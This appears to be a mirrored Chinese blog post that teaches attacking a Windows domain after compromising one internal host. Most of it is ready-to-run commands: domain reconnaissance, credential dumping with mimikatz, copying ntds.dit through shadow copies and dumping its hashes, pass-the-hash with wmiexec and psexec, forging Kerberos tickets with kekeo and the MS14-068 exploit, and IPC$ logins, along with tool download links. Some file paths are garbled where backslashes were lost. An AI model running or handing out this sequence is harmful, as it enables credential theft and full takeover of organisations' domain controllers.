zoukankan      html  css  js  c++  java
  • 内网hash传递

    前言:

    我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机。比如说有域的时候的域控机,有多层内网的堡垒机等,下面将介绍如何用已控制的内网机拿到域控的方法。

    0x00 环境

    假如是一个域环境:

    域控: 192.168.106.129
    
    已经控制的内网机: 192.168.106.120

    其他假如存在一些其他普通的机子。

    0x01 内网信息收集

    初步的查看网络信息:

    ipconfig /all
    netstat -ano  
    arp -a

    这就可以查看到是否存在内网

    查看是否有域:net user /domain(查看所有域用户)

    如果有域,那么收集域内主机信息:

    net view   #查看域中的机器
    net view /domain # 查看网络中有哪些域
    net view /domain:domainhack  # 查看 domainhack 域中的机器

    然后通过 ping 机器名 可以获取 ip

    查找域控的几种方法:

    dsquery server
    net time /domain
    ipconfig /all  查看 dns 信息
    端口扫描,域控服务器会开放389端口,如果和DNS同服务器,那么也会有53
    net group “domain controllers” /domain 得到域控制器主机名
    net group “domain admins” /domain 查询域管理用户

    0x02 抓取明文&&hash

    利用mimikatz抓取登录过的明文,也可获取到ntlm_hash:

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
    获取ntlm hash

    直接获取hash:

    mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
    获取aes等hash,如果捕获不到ntlm hash,那么就使用这条命令捕获

    0x03导出 ntds.dit获取hash

    方法一 ntdsutil:

    ntdsutil snapshot "List All" quit quit   # 列举快照
    ntdsutil snapshot "activate instance ntds" create quit quit #  创建快照
    ntdsutil snapshot "mount {77e43351-f29c-4bb2-86ad-cc6b7610589d}"  # 挂载快照
    copy C:$SNAP_201803152221_VOLUMEC$windowsNTDS
    tds.dit c:
    tds.dit   #复制
    ntds.dit

    方法二 vssadmin:

    vssadmin list shadows # 查询当前系统的快照
    vssadmin create shadow /for=c: #创建快照
    copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4windowsNTDS
    tds.dit c:
    tds.dit #  复制ntds.dit
    vssadmin delete shadows /for=c: /quiet #删除快照

    导出ntds.dit后:

    获取 system.hiv:

    reg save hklmsystem system.hiv

    QuarksPwDump.exe 导出 hash:

     QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file  system.hiv

    0x04 pass-the-hash 攻击

    1.mimikatz:

    mimikatz.exe
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
    如果是win2008之后只能抓取到aes hash值,那么将上面的ntlm 改成aes

    2.wmiexec

    下载地址:https://github.com/maaaaz/impacket-examples-windows

    wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami"
    domainhack 为域名
    Administrator  域用户
    192.168.106.129  目标 IP

    3.psexec

    psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami"

    0x05 pass-the-ticket攻击(票据)

    mimikatz清除票据:

    为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法使用mimikatz

    mimikatz.exe "kerberos::list" "kerberos::purge"

    1.wce

    要求:

    1. 域用户名 hash (用前面的方法获取)
    2. 本机 administor 权限

    用法:

    wce -s Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09

    2.keko

    下载地址:

    https://github.com/gentilkiwi/kekeo

    要求:

    域用户名 ,hash (用前面的方法获取),域名

    用法:

    生成票据
    kekeo "tgt::ask /user:Administrator /domain:domainhack.com /ntlm:A812E6C2DEFCB0A7B80868F9F3C88D09"
    导入票据
    kekeo "kerberos::ptt TGT_Administrator@DOMAINHACK.COM_krbtgt~domainhack.com@DOMAINHACK.COM.kirbi"

    3.ms14-068.exe

    下载地址:

    https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/MS14-068.exe

    要求:

    域用户名 , 密码
    用户sid  # whoami /all 获取

    用法:

    生成 票据
    ms14-068.exe -u hacker@domainhack.com -s S-1-5-21-2864277510-2444243591-773573486-1113 -d 192.168.106.129 -p qaz123!@#
    ms14-068.exe -u 域用户@域名.com -s 用户sid -d 域控ip地址 -p 用户名密码
    导入票据
    Mimikatz.exe "kerberos::ptc TGT_hacker@domainhack.com.ccache" 

    导入票据后就相当于有了 域管理员的权限, 直接添加域管理员

    写入成功后,使用PsExec.exe以管理员权限运行连接域控

    psexec64.exe \域控主机名 cmd.exe

    https://www.cnblogs.com/feizianquan/archive/2019/10/29/11760564.html

    0x06 ipc攻击

    域控开了ipc共享的话,直接ipc也可以连接登录,如果是xp系统的话用户秘密都不要

    net view 192.168.211.130   #查看共享
    net use \192.168.211.130ipc$ "password" /user:"user"  # ipc$ 连接
  • 相关阅读:
    解决在SQLPLUS中无法使用方向键、退格键问题
    Oracle 11g R2手动配置EM(转)
    为什么JDK代码这样写?final ReentrantLock takeLock = this.takeLock
    使用CompletableFuture实现业务服务的异步调用实战代码
    SpringBoot项目从Git拉取代码并完成编译打包启动的sh自动脚本
    SpringBoot项目实现配置实时刷新功能
    (8)Flask微电影项目会员中心其他页面搭建
    (7)Flask微电影之会员中心页面搭建
    (6)Flask项目之会员注册页面
    (5)Flask项目会员登录页
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11853551.html
Copyright © 2011-2022 走看看